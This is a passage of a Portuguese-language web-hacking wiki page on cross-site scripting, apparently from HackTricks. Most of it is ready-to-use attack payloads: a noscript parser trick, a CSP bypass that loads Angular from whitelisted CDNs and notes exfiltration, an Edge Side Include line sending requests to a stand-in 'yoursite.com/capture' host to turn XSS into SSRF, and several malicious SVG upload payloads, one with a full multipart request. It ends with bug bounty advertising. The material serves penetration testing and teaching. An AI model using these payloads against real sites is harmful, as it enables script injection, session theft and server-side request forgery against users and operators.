<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Acesso a Conteúdo Oculto

A partir deste relatório é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la depois que o valor da entrada do regex foi removido:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Lista de Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

XSS Explorando outras vulnerabilidades

XSS em Markdown

É possível injetar código Markdown que será renderizado? Talvez você consiga um XSS! Verifique:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS para SSRF

Conseguiu um XSS em um site que usa cache? Tente transformá-lo em SSRF através da injeção de Edge Side Include com este payload:

<esi:include src="http://yoursite.com/capture" />

Utilize-a para contornar restrições de cookies, filtros de XSS e muito mais! Mais informações sobre esta técnica aqui: XSLT.

XSS em PDF criado dinamicamente

Se uma página web está criando um PDF usando entrada controlada pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário. Então, se o bot criador de PDF encontrar algum tipo de tags HTML, ele vai interpretá-las, e você pode abusar desse comportamento para causar um Server XSS.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Se você não conseguir injetar tags HTML, pode valer a pena tentar injetar dados de PDF:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS em Amp4Email

AMP é uma tecnologia conhecida por desenvolver páginas web super rápidas em clientes móveis. AMP é um conjunto de tags HTML suportadas por JavaScript que facilmente habilita funcionalidades com um foco adicional em desempenho e segurança. Existem componentes AMP para tudo, desde carrosséis, a elementos de formulário responsivos, até a obtenção de conteúdo atualizado de endpoints remotos.

O formato AMP para Email fornece um subconjunto de componentes AMP que você pode usar em mensagens de e-mail. Destinatários de e-mails AMP podem visualizar e interagir com os componentes AMP diretamente no e-mail.

Exemplo writeup XSS em Amp4Email no Gmail.

XSS ao fazer upload de arquivos (svg)

Faça upload de um arquivo como o seguinte (de http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Encontre mais payloads SVG em https://github.com/allanlw/svg-cheatsheet

Misc JS Tricks & Informações Relevantes

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

Recursos XSS

FERRAMENTAS XSS

Encontre algumas ferramentas para XSS aqui.


Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje, e comece a ganhar recompensas de até $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: